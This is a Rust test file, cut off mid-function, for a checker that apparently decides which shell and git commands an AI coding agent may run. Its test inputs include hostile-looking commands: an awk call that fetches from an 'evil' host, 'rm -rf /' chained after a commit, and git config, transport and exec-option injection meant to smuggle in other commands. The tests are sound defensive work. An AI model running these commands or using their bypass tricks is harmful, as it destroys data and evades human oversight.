use super::*;
use super::main_checkout::main_checkout_head_move;
use super::path_tokens::unexpanded_shell_variable;
#[test]
fn evaluate_bash_command_denies_shell_edit_verbs() {
for cmd in [
"sed -i s/a/b/ src/lib.rs",
"sed -i.bak s/a/b/ src/lib.rs",
"awk -i inplace '{print}' f",
"patch -p1 < d.patch",
"git apply my.patch",
"FOO=1 sed -i s/a/b/ f",
"sudo patch -p0 x",
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_allows_readonly_sed_awk() {
for cmd in [
"git status --porcelain | awk '{print $1}' | sort | uniq -c",
"sed -n '1,5p' file.txt",
"git log | awk '{print $1}'",
"cat f | sed 's/a/b/'",
"sed 's/a/b/g' f | grep x",
r#"sed "s/can't/cannot/" f"#,
r#"awk -F"'" '{print $2}'"#,
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for read-only sed/awk: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_awk_shell_escape_holes() {
for cmd in [
r#"awk 'BEGIN{system("touch /tmp/x")}'"#,
r#"awk 'BEGIN{system("curl https://evil/x")}'"#,
r#"awk 'BEGIN{system ("touch /tmp/x")}'"#,
"awk 'BEGIN{system\t(\"echo x\")}'",
r#"awk 'BEGIN{print | "sort"}'"#,
r#"awk 'BEGIN{"date" | getline}'"#,
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for awk shell-escape: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_sed_e_w_commands() {
for cmd in [
"sed '1e touch /tmp/x' f",
"sed -n '1,5w /tmp/out' f",
"sed 's/a/b/e' f",
"sed 's/a/b/w /tmp/out' f",
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for sed e/w command: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_external_script_load() {
for cmd in ["sed -f script.sed f", "awk -f script.awk f"] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for external script load: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_sed_in_place_abbreviations() {
for cmd in [
"sed --in s/a/b/ f",
"sed --in-p s/a/b/ f",
"sed --in=bak s/a/b/ f",
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for --in-place abbreviation: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_awk_family_verbs() {
assert_eq!(
evaluate_bash_command("gawk -i inplace '{print}' f"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command(r#"nawk 'BEGIN{system("id")}'"#),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("gawk '{print $1}'"),
None,
"read-only gawk must still allow"
);
}
#[test]
fn evaluate_bash_command_denies_redirection_write() {
assert_eq!(
evaluate_bash_command("echo 'code' > src/lib.rs"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("printf x >> notes.txt"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn evaluate_bash_command_denies_build_and_test() {
for cmd in ["make build", "pytest -q", "npm test"] {
assert_eq!(
evaluate_bash_command(cmd),
Some(BUILD_TEST_REASON),
"expected build/test deny for: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_network() {
for cmd in ["curl https://example.com", "wget https://example.com/x"] {
assert_eq!(
evaluate_bash_command(cmd),
Some(NETWORK_REASON),
"expected network deny for: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_allows_normal_shell() {
for cmd in [
"",
" ",
"git status",
"git add -A",
"git commit -m x",
"git log --oneline",
"git diff",
"git push",
"ls -la",
"grep -rn foo src",
"cat README.md",
"cargo tree 2>&1", ] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_composition_hidden_verbs() {
assert_eq!(
evaluate_bash_command("cd repo && sed -i s/a/b/ f"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("true; make build"),
Some(BUILD_TEST_REASON)
);
assert_eq!(
evaluate_bash_command("x || pytest"),
Some(BUILD_TEST_REASON)
);
assert_eq!(
evaluate_bash_command("ls && git apply p.diff"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("cd repo && echo x > out.txt"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn evaluate_bash_command_denies_bare_ampersand_composition() {
assert_eq!(
evaluate_bash_command("true & sed -i s/a/b/ f"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("cd x & make build"),
Some(BUILD_TEST_REASON)
);
assert_eq!(evaluate_bash_command("x & pytest"), Some(BUILD_TEST_REASON));
assert_eq!(
evaluate_bash_command("cd repo\nsed -i s/a/b/ f"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn evaluate_bash_command_allows_trailing_background() {
for cmd in ["sleep 1 &", "cargo tree 2>&1", "foo >&2"] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_allows_benign_pipes() {
for cmd in [
"git log | head",
"cat f | grep x",
"ls | wc -l",
"git diff && git status",
"cd repo; ls -la",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for benign composition: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_allows_dev_null_redirect() {
for cmd in ["which cargo 2>/dev/null", "command -v foo >/dev/null"] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for /dev/null discard: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_allows_bob_hotstats_dev_null_repro() {
let cmd = "cd /Users/masa/trusty-mpm-projects/bobmatnyc/trusty-tools/.base/.claude/worktrees/tm-hotstats-product-poc-01\necho \"=== docs tree ===\" && ls docs docs/provenance 2>/dev/null";
assert_eq!(
evaluate_bash_command(cmd),
None,
"read-only cd/echo/ls with 2>/dev/null must be allowed"
);
}
#[test]
fn evaluate_bash_command_allows_more_dev_null_and_fd_dup_shapes() {
for cmd in [
"ls docs 2>/dev/null",
"cargo check 2>&1",
"which rustc >/dev/null",
"which rustc &>/dev/null",
"ls a b 2>/dev/null && echo done",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for read-only redirection shape: {cmd:?}"
);
}
}
#[test]
fn extract_shell_edit_target_from_redirection() {
assert_eq!(
extract_shell_edit_target("echo 'code' > src/lib.rs"),
Some("src/lib.rs".to_string())
);
assert_eq!(
extract_shell_edit_target("printf x >> docs/notes.md"),
Some("docs/notes.md".to_string())
);
}
#[test]
fn extract_shell_edit_target_from_trailing_sed_awk_patch_arg() {
assert_eq!(
extract_shell_edit_target("sed -i s/a/b/ app/main.py"),
Some("app/main.py".to_string())
);
assert_eq!(
extract_shell_edit_target("patch -p1 web/App.tsx"),
Some("web/App.tsx".to_string())
);
assert_eq!(
extract_shell_edit_target("git apply my.patch"),
Some("my.patch".to_string())
);
}
#[test]
fn extract_shell_edit_target_none_when_unresolvable() {
assert_eq!(extract_shell_edit_target("git status"), None);
assert_eq!(extract_shell_edit_target("sed -i"), None);
}
#[test]
fn extract_shell_edit_target_best_effort_on_script_only_sed() {
assert_eq!(
extract_shell_edit_target("sed -n '1,5p'"),
Some("'1,5p'".to_string())
);
}
#[test]
fn extract_shell_edit_target_ignores_dev_null_and_fd_dup() {
assert_eq!(extract_shell_edit_target("ls docs 2>/dev/null"), None);
assert_eq!(extract_shell_edit_target("cargo check 2>&1"), None);
}
#[test]
fn evaluate_bash_command_denies_hidden_substitution_verb() {
assert_eq!(
evaluate_bash_command("echo \"$(sed -i s/a/b/ f)\""),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("x=`make build`"),
Some(BUILD_TEST_REASON)
);
}
#[test]
fn evaluate_bash_command_allows_benign_substitution() {
for cmd in [
"echo \"$(date)\"",
"cd \"$(git rev-parse --show-toplevel)\"",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"expected allow for benign substitution: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_unbalanced_substitution() {
assert_eq!(
evaluate_bash_command("echo $(sed -i"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(evaluate_bash_command("echo `foo"), Some(SHELL_EDIT_REASON));
}
#[test]
fn evaluate_bash_command_bounds_deep_substitution_nesting() {
let deep = format!("echo {}", "$(".repeat(200));
let decision = evaluate_bash_command(&deep);
assert!(decision.is_some(), "deep nesting must deny, got allow");
let balanced = format!("echo {}date{}", "$(".repeat(200), ")".repeat(200));
let _ = evaluate_bash_command(&balanced);
}
#[test]
fn split_shell_segments_splits_operators() {
assert_eq!(
split_shell_segments("a && b || c ; d | e"),
vec!["a ", " b ", " c ", " d ", " e"]
);
}
#[test]
fn split_shell_segments_splits_bare_ampersand() {
assert_eq!(split_shell_segments("a & b"), vec!["a ", " b"]);
assert_eq!(split_shell_segments("foo &"), vec!["foo &"]);
assert_eq!(
split_shell_segments("cargo test 2>&1"),
vec!["cargo test 2>&1"]
);
assert_eq!(split_shell_segments("foo >&2"), vec!["foo >&2"]);
assert_eq!(split_shell_segments("a\nb"), vec!["a", "b"]);
}
#[test]
fn split_shell_segments_single_command() {
assert_eq!(split_shell_segments("git status"), vec!["git status"]);
assert_eq!(split_shell_segments("foo &"), vec!["foo &"]);
}
#[test]
fn has_file_write_redirection_detects_write() {
assert!(has_file_write_redirection("echo x > f"));
assert!(has_file_write_redirection("echo x >f.rs"));
}
#[test]
fn has_file_write_redirection_detects_append() {
assert!(has_file_write_redirection("echo x >> f"));
}
#[test]
fn has_file_write_redirection_ignores_fd_dup() {
assert!(!has_file_write_redirection("cargo test 2>&1"));
assert!(!has_file_write_redirection("foo >&2"));
}
#[test]
fn has_file_write_redirection_ignores_dev_null() {
assert!(!has_file_write_redirection("which cargo 2>/dev/null"));
assert!(!has_file_write_redirection("command -v foo >/dev/null"));
assert!(!has_file_write_redirection("foo &>/dev/null"));
assert!(has_file_write_redirection("echo x > /dev/null.txt"));
assert!(has_file_write_redirection("echo x > out.txt"));
}
#[test]
fn has_file_write_redirection_false_for_plain_command() {
assert!(!has_file_write_redirection("git status"));
}
#[test]
fn evaluate_bash_command_allows_bob_git_commit_repro() {
let cmd = r#"git -C /Users/masa/trusty-mpm-projects/bobmatnyc/writing commit -q -m 'feat(hyperdev): draft "SDD: When The Spec Becomes Part Of The Code"' -m 'HyperDev deep-dive: the spec IS the code — SDD flips the pipeline so spec > impl'"#;
assert_eq!(
evaluate_bash_command(cmd),
None,
"Bob's git commit with quoted prose must be allowed"
);
}
#[test]
fn evaluate_bash_command_allows_git_commit_with_quoted_operators() {
for cmd in [
r#"git commit -m 'spec -> code'"#,
r#"git commit -m 'a > b'"#,
r#"git commit -m 'pipe a | b then c'"#,
r#"git commit -m 'run make && test'"#,
r#"git commit -m 'costs $(x) or `y`'"#,
r#"git commit -m 'use sed -i to fix; then awk'"#,
r#"git commit -m "double > quoted -> ok""#,
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"quoted prose must not trip a deny: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_allows_git_global_flags() {
for cmd in [
"git -C /some/path status",
"git -C /some/path log --oneline",
"git -C /some/path diff",
"git -C /some/path commit -m x",
"git -c user.name=x -c user.email=y@z commit -m x",
"git --git-dir=/p/.git --work-tree=/p status",
"git -C /some/path push --force",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"git through global flags must be allowed: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_denies_git_apply_through_global_flags() {
for cmd in [
"git apply my.patch",
"git -C /some/path apply my.patch",
"git -c core.pager=x apply my.patch",
"git --git-dir=/p/.git apply my.patch",
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"git apply must deny through global flags: {cmd}"
);
}
}
#[test]
fn evaluate_bash_command_preserves_true_positives_after_quote_awareness() {
let shell_edit = [
"sed -i s/a/b/ src/lib.rs",
"echo 'code' > src/lib.rs",
"printf x >> src/lib.rs",
r#"awk '{print}' > out.rs"#, r#"awk 'BEGIN{print | "sort"}'"#, r#"awk '{print > "out.rs"}'"#, "git apply p.diff",
"cat f | sed -i s/a/b/ g", ];
for cmd in shell_edit {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"must still deny shell edit: {cmd}"
);
}
for cmd in [
"git status --porcelain | awk '{print $1}' | sort | uniq -c",
"sed -n '1,5p' file.txt",
"cat f | sed 's/a/b/'",
r#"sed "s/can't/cannot/" f"#,
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"read-only sed/awk must still allow: {cmd}"
);
}
}
#[test]
fn split_shell_segments_ignores_quoted_operators() {
assert_eq!(
split_shell_segments("git commit -m 'a | b'"),
vec!["git commit -m 'a | b'"]
);
assert_eq!(
split_shell_segments("echo 'x && y ; z'"),
vec!["echo 'x && y ; z'"]
);
assert_eq!(split_shell_segments("a | b"), vec!["a ", " b"]);
assert_eq!(
split_shell_segments("echo 'unterminated | b"),
vec!["echo 'unterminated ", " b"]
);
}
#[test]
fn split_shell_segments_keeps_a_heredoc_body_whole() {
let command = "cat <<'EOF' > f\ngit commit -m x\nEOF";
assert_eq!(split_shell_segments(command), vec![command]);
let mixed = "cat <<EOF > f\na && b ; c | d & e\nEOF";
assert_eq!(split_shell_segments(mixed), vec![mixed]);
assert_eq!(
split_shell_segments("true && cat <<EOF\nbody\nEOF\ngit status"),
vec!["true ", " cat <<EOF\nbody\nEOF", "git status"]
);
}
#[test]
fn split_shell_segments_still_splits_an_unterminated_heredoc() {
assert_eq!(
split_shell_segments("cat <<'EOF' > f\ngit commit -m x"),
vec!["cat <<'EOF' > f", "git commit -m x"]
);
assert_eq!(
split_shell_segments("echo $((1 << 3))\ngit status"),
vec!["echo $((1 << 3))", "git status"]
);
}
#[test]
fn split_shell_segments_still_splits_a_shell_heredoc_body() {
assert_eq!(
split_shell_segments("bash <<'EOF'\ngit add x && git commit -m y\nEOF"),
vec!["bash <<'EOF'", "git add x ", " git commit -m y", "EOF"]
);
assert_eq!(
split_shell_segments("sudo /bin/sh <<EOF\nsed -i s/a/b/ f\nEOF"),
vec!["sudo /bin/sh <<EOF", "sed -i s/a/b/ f", "EOF"]
);
assert_eq!(
evaluate_bash_command("bash <<'EOF'\nsed -i s/a/b/ src/lib.rs\nEOF"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn has_file_write_redirection_ignores_quoted_gt() {
assert!(!has_file_write_redirection("git commit -m 'spec > code'"));
assert!(!has_file_write_redirection(r#"echo "a -> b""#));
assert!(has_file_write_redirection("echo x > f.rs"));
assert!(has_file_write_redirection("echo 'oops > f.rs"));
}
#[test]
fn has_file_write_redirection_ignores_heredoc_body() {
assert!(!has_file_write_redirection(
"python3 <<'PY'\nprint([k for k in d if len(k) > 3])\nPY"
));
assert!(!has_file_write_redirection("cat <<EOF\nspec -> code\nEOF"));
}
#[test]
fn has_file_write_redirection_detects_redirect_on_a_heredoc_operator_line() {
assert!(has_file_write_redirection(
"python3 <<'PY' > out.rs\nprint(1)\nPY"
));
assert!(has_file_write_redirection(
"python3 <<'PY'\nprint(1)\nPY\necho done > f.rs"
));
}
#[test]
fn evaluate_bash_command_allows_readonly_heredoc_script() {
assert_eq!(
evaluate_bash_command(
"python3 <<'PY'\nimport json\nd = json.load(open('/tmp/x.json'))\nprint([k for k in d if len(k) > 3])\nPY"
),
None
);
}
#[test]
fn evaluate_bash_command_denies_heredoc_with_real_redirect() {
assert_eq!(
evaluate_bash_command("python3 <<'PY' > src/lib.rs\nprint(1)\nPY"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn evaluate_bash_command_allows_quoted_substitution_prose() {
assert_eq!(
evaluate_bash_command(r#"git commit -m 'run $(sed -i x) maybe'"#),
None,
"single-quoted substitution is literal prose"
);
assert_eq!(
evaluate_bash_command(r#"echo "$(sed -i s/a/b/ f)""#),
Some(SHELL_EDIT_REASON),
"double-quoted substitution is still live"
);
}
#[test]
fn evaluate_worktree_add_command_denies_direct_tmp_targets() {
let cwd = Path::new("/Users/x/proj");
for cmd in [
"git worktree add /tmp/wt-x",
"git worktree add /private/tmp/wt-x",
"git worktree add /var/folders/x1/abc/T/wt-x",
"git worktree add -b feat-x /tmp/wt-x",
"git worktree add --lock --reason busy /tmp/wt-x",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, cwd),
Some(WORKTREE_TMP_REASON),
"expected deny for: {cmd}"
);
}
}
#[test]
fn evaluate_worktree_add_command_allows_project_targets() {
let cwd = Path::new("/Users/x/proj");
for cmd in [
"git worktree add .claude/worktrees/wt-x",
"git worktree add /Users/x/proj/.claude/worktrees/wt-x",
"git worktree add ../sibling-wt",
"git worktree add -b feat-x .claude/worktrees/wt-x",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, cwd),
None,
"expected allow for: {cmd}"
);
}
}
#[test]
fn evaluate_worktree_add_command_only_matches_add_subcommand() {
let cwd = Path::new("/Users/x/proj");
for cmd in [
"git worktree list",
"git worktree remove /tmp/wt-x",
"git worktree prune",
"git worktree lock /tmp/wt-x",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, cwd),
None,
"non-add worktree subcommand must never be blocked: {cmd}"
);
}
}
#[test]
fn evaluate_worktree_add_command_ignores_ordinary_temp_usage() {
let cwd = Path::new("/Users/x/proj");
for cmd in [
"mktemp -d",
"echo x > /tmp/scratch.txt",
"cargo build --target-dir /tmp/build",
"git status",
"git commit -m 'add worktree support'",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, cwd),
None,
"ordinary temp usage must not be blocked: {cmd}"
);
}
}
#[test]
fn evaluate_worktree_add_command_resolves_relative_target_against_cwd() {
let cwd = Path::new("/tmp/some-repo");
assert_eq!(
evaluate_worktree_add_command("git worktree add wt-x", cwd),
Some(WORKTREE_TMP_REASON)
);
let ok_cwd = Path::new("/Users/x/proj");
assert_eq!(
evaluate_worktree_add_command("git worktree add wt-x", ok_cwd),
None
);
}
#[test]
fn evaluate_worktree_add_command_denies_both_var_folders_spellings() {
for cwd in [
Path::new("/var/folders/x1/abc/T"),
Path::new("/private/var/folders/x1/abc/T"),
] {
assert_eq!(
evaluate_worktree_add_command("git worktree add wt-x", cwd),
Some(WORKTREE_TMP_REASON),
"cwd-relative target must deny from: {}",
cwd.display()
);
}
let proj = Path::new("/Users/x/proj");
for cmd in [
"git worktree add /private/var/folders/x1/abc/T/wt-x",
"cd /private/var/folders/x1/abc/T && git worktree add wt-x",
"git -C /private/var/folders/x1/abc/T worktree add wt-x",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, proj),
Some(WORKTREE_TMP_REASON),
"expected deny for: {cmd}"
);
}
assert_eq!(
evaluate_worktree_add_command("git worktree add /private/var/lib/wt-x", proj),
None
);
}
#[test]
fn evaluate_worktree_add_command_follows_cd_prefix() {
let cwd = Path::new("/Users/x/proj");
assert_eq!(
evaluate_worktree_add_command("cd /tmp && git worktree add wt-foo", cwd),
Some(WORKTREE_TMP_REASON)
);
assert_eq!(
evaluate_worktree_add_command("cd .claude/worktrees && git worktree add wt-foo", cwd),
None
);
}
#[test]
fn evaluate_worktree_add_command_follows_git_dash_c_override() {
let cwd = Path::new("/Users/x/proj");
assert_eq!(
evaluate_worktree_add_command("git -C /tmp worktree add wt-foo", cwd),
Some(WORKTREE_TMP_REASON)
);
assert_eq!(
evaluate_worktree_add_command("git -C /tmp worktree add /Users/x/proj/wt-foo", cwd),
None,
"an absolute in-project target overrides the -C base"
);
}
#[test]
fn evaluate_worktree_add_command_expands_tmpdir_and_home() {
let cwd = Path::new("/Users/x/proj");
let env = PathEnv {
tmpdir: Some("/private/tmp/agent-scratch".to_string()),
tmp: None,
home: Some("/Users/x".to_string()),
};
assert_eq!(
evaluate_worktree_add_command_in("git worktree add $TMPDIR/wt-foo", cwd, &env),
Some(WORKTREE_TMP_REASON),
"$TMPDIR indirection must resolve to the harness scratchpad, still denylisted"
);
assert_eq!(
evaluate_worktree_add_command_in(
"git worktree add ~/proj/.claude/worktrees/wt-foo",
cwd,
&env
),
None,
"~ expansion to an in-project target must be allowed"
);
}
#[test]
fn evaluate_worktree_add_command_delegates_to_the_process_environment() {
let cwd = Path::new("/Users/x/proj");
let process_env = PathEnv::from_process();
for cmd in [
"git worktree add $TMPDIR/wt-foo",
"git worktree add ${TMPDIR}/wt-foo",
"git worktree add ~/scratch/wt-foo",
"git worktree add .claude/worktrees/wt-foo",
] {
assert_eq!(
evaluate_worktree_add_command(cmd, cwd),
evaluate_worktree_add_command_in(cmd, cwd, &process_env),
"the public entry point must expand against the process env: {cmd}"
);
}
}
#[test]
fn evaluate_worktree_add_command_normalizes_dot_dot_traversal() {
let cwd = Path::new("/Users/proj");
assert_eq!(
evaluate_worktree_add_command("git worktree add ../../tmp/wt-x", cwd),
Some(WORKTREE_TMP_REASON)
);
}
#[test]
fn command_is_persistence_only_accepts_commit_and_push() {
for cmd in [
"git add -A",
"git commit -m 'fix: something'",
"git push origin HEAD",
"git status --short",
"git diff --stat",
"git add -A && git commit -m x && git push",
"git status; git diff",
"git status && ",
] {
assert!(
command_is_persistence_only(cmd),
"expected {cmd:?} to count as persistence"
);
}
}
#[test]
fn command_is_persistence_only_sees_past_git_global_flags() {
for cmd in [
"git -C /repo/wt commit -m x",
"git --git-dir=/repo/.git --work-tree=/repo add -A",
"git --work-tree /repo -C /repo status",
"git --no-pager diff --stat",
] {
assert!(
command_is_persistence_only(cmd),
"expected {cmd:?} to resolve past its global flags"
);
}
}
#[test]
fn command_is_persistence_only_rejects_config_injection() {
for cmd in [
"git -c diff.external='cargo test' diff",
"git -c core.gitProxy=cargo fetch",
"git -c credential.helper='!cargo test' push",
"git -c alias.p='!cargo test' push",
"git -c user.name=bot commit -m x",
"git --config-env=user.name=EVIL commit -m x",
"git --exec-path=/tmp/evil status",
"git --totally-made-up-global status",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected as config injection"
);
}
}
#[test]
fn command_is_persistence_only_rejects_exec_options() {
for cmd in [
"git push --receive-pack='cargo test' /tmp/repo HEAD",
"git push --receive-pack cargo /tmp/repo HEAD",
"git push --exec='cargo test' /tmp/repo HEAD",
"git push --upload-pack=cargo origin HEAD",
"git diff --ext-diff",
"git diff --textconv",
"git diff --output=/tmp/out.txt",
"git push --future-pack=cargo origin HEAD",
"git push --brand-new-exec-thing=cargo origin HEAD",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected as an exec-capable option"
);
}
}
#[test]
fn command_is_persistence_only_rejects_abbreviated_exec_options() {
for cmd in [
"git push --rece=cargo /tmp/r HEAD",
"git push --exe=cargo /tmp/r HEAD",
"git push --exe cargo /tmp/r HEAD",
"git push --r=cargo /tmp/r HEAD",
"git push --receiv=cargo /tmp/r HEAD",
"git push --receive-pac=cargo /tmp/r HEAD",
"git push --e cargo /tmp/r HEAD",
"git push --exec cargo /tmp/r HEAD",
"git push --uploa=cargo origin HEAD",
"git push --upl cargo origin HEAD",
"git status --exec-pat=/tmp/evil",
"git diff --ext",
"git diff --textc",
"git diff --outp=/tmp/out.txt",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected: an abbreviation IS the option"
);
}
}
#[test]
fn command_is_persistence_only_accepts_the_flags_agents_actually_use() {
for cmd in [
"git add -A --force",
"git add -- src/lib.rs",
"git commit -m 'fix: thing' --amend --no-verify",
"git commit --message='fix: thing' --signoff --allow-empty",
"git commit -m x --no-gpg-sign --author='Bot <b@example.com>'",
"git push -u origin HEAD --force-with-lease",
"git push origin HEAD --tags --follow-tags --atomic",
"git push origin HEAD --dry-run --porcelain",
"git status --short --branch --untracked-files=all",
"git diff --stat --cached --name-only",
"git diff --unified=5 --ignore-all-space -- crates/",
"git diff HEAD~1 --no-ext-diff --no-textconv",
] {
assert!(
command_is_persistence_only(cmd),
"expected {cmd:?} to survive the default-deny option surface"
);
}
}
#[test]
fn command_is_persistence_only_rejects_remote_helper_transport() {
for cmd in [
"git -c protocol.ext.allow=always push ext::sh -c 'cargo test' HEAD",
"git push ext::sh -c 'cargo test' HEAD",
"git push ext::cargo origin HEAD",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected as a remote-helper transport"
);
}
assert!(command_is_persistence_only("git push origin HEAD:main"));
}
#[test]
fn command_is_persistence_only_admits_the_attacker_chosen_repo_residual() {
assert!(command_is_persistence_only("git -C /tmp/evil diff"));
assert!(command_is_persistence_only(
"git --git-dir=/tmp/evil/.git diff"
));
}
#[test]
fn command_is_persistence_only_rejects_process_substitution() {
for cmd in [
"git diff <(cargo test)",
"git diff >(cargo test)",
"git add -A < /tmp/list",
"git commit -m x -F <(cargo test)",
"git status (cargo test)",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected as process substitution"
);
}
}
#[test]
fn command_is_persistence_only_allows_metacharacters_inside_quotes() {
for cmd in [
"git commit -m 'fix: handle (n>1) and $HOME'",
"git commit -m \"refactor: spec -> code\"",
"git commit -m 'closes #4850 (review)'",
] {
assert!(
command_is_persistence_only(cmd),
"expected {cmd:?} to survive its quoted metacharacters"
);
}
}
#[test]
fn command_is_persistence_only_requires_a_bare_git_program() {
for cmd in [
"GIT_SSH_COMMAND='cargo test' git push",
"GIT_EXTERNAL_DIFF=cargo git diff",
"env GIT_PAGER=cargo git diff",
"sudo git commit -m x",
"./git commit -m x",
"/tmp/evil/git push origin HEAD",
"../../tmp/evil/git status",
"$HOME/evil/git add -A",
"/usr/bin/git commit -m x",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected: the program must be git itself"
);
}
assert!(command_is_persistence_only("git commit -m x"));
}
#[test]
fn command_is_persistence_only_rejects_smuggled_work() {
for cmd in [
"git commit -m x && cargo test",
"cargo test && git commit -m x",
"git commit -m x | tee log",
"git commit -m x; rm -rf /",
"git checkout main",
"git reset --hard",
"git worktree add /tmp/x",
"git rebase -i HEAD~3",
"echo hi",
"",
" ",
"sudo -u bob git commit -m x",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected as non-persistence"
);
}
}
#[test]
fn command_is_persistence_only_rejects_substitution_and_redirection() {
for cmd in [
"git commit -m \"$(cargo build 2>&1)\"",
"git commit -m `date`",
"git status > /tmp/out.txt",
"git diff >> notes.md",
"git status 2>/dev/null",
] {
assert!(
!command_is_persistence_only(cmd),
"expected {cmd:?} to be rejected"
);
}
}
#[test]
fn evaluate_bash_command_never_denies_tm_wait() {
for cmd in [
"tm wait --for file --path /tmp/gate.txt",
"tm wait --for file --path /tmp/gate.txt --contains EXIT=",
"tm wait --for run --pid 4242 --timeout 3600",
"tm wait --for run --handle /tmp/job.pid",
"tm wait --for check --pr 5843 --repo bobmatnyc/trusty-tools",
"tm wait --for check --pr 5843 --interval 30 --slice 100",
"trusty-mpm wait --for file --path /tmp/gate.txt",
"tm wait --for file --path /tmp/gate.txt --timeout 1800 --slice 100",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"`tm wait` is the sanctioned in-turn wait; it must never be denied: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_process_substitution_edit() {
for cmd in [
"diff <(sed -i s/a/b/ f) x",
"diff x <(sed -i s/a/b/ f)",
"cat <(patch -p1 f.diff)",
"wc -l <(git apply my.patch)",
] {
assert_eq!(
evaluate_bash_command(cmd),
Some(SHELL_EDIT_REASON),
"process-substitution body must be classified: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_output_process_substitution_by_classification() {
assert_eq!(
evaluate_bash_command("tee >(sed -i s/a/b/ f)"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("tee >(curl http://example.com)"),
Some(NETWORK_REASON),
"the body's own classification decides, not the `>` scan"
);
}
#[test]
fn evaluate_bash_command_allows_readonly_process_substitution() {
for cmd in [
"diff <(sort a.txt) <(sort b.txt)",
"comm -12 <(git ls-files) <(cat manifest.txt)",
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"read-only process substitution must still pass: {cmd:?}"
);
}
}
#[test]
fn evaluate_bash_command_denies_unbalanced_process_substitution() {
assert_eq!(
evaluate_bash_command("diff <(sed -i s/a/b/ f x"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn evaluate_bash_command_allows_quoted_process_substitution_prose() {
for cmd in [
r#"git commit -m 'use diff <(sed -i x) y'"#,
r#"git commit -m "use diff <(sed -i x) y""#,
] {
assert_eq!(
evaluate_bash_command(cmd),
None,
"quoted process-substitution prose is not shell syntax: {cmd:?}"
);
}
}
fn wrapper_spellings(inner: &str) -> Vec<String> {
vec![
format!("sh -c \"{inner}\""),
format!("bash -c '{inner}'"),
format!("zsh -c \"{inner}\""),
format!("/bin/sh -c \"{inner}\""),
format!("bash -lc \"{inner}\""),
format!("env -S \"{inner}\""),
format!("xargs {inner}"),
format!("xargs -0 {inner}"),
format!("xargs -n 4 {inner}"),
format!("eval \"{inner}\""),
format!("eval {inner}"),
format!("bash -ce \"{inner}\""),
format!("sh -c -- \"{inner}\""),
format!("sudo sh -c \"{inner}\""),
format!("sh -c \"bash -c '{inner}'\""),
format!("sh -c \"true && {inner}\""),
]
}
#[test]
fn wrappers_do_not_hide_the_inner_command_from_the_git_verb_rules() {
const WT: &str = "/repo/.claude/worktrees/agent-x";
let engineer = DispatchIdentity {
agent_id: Some("agent-abc123"),
agent_type: Some("rust-engineer"),
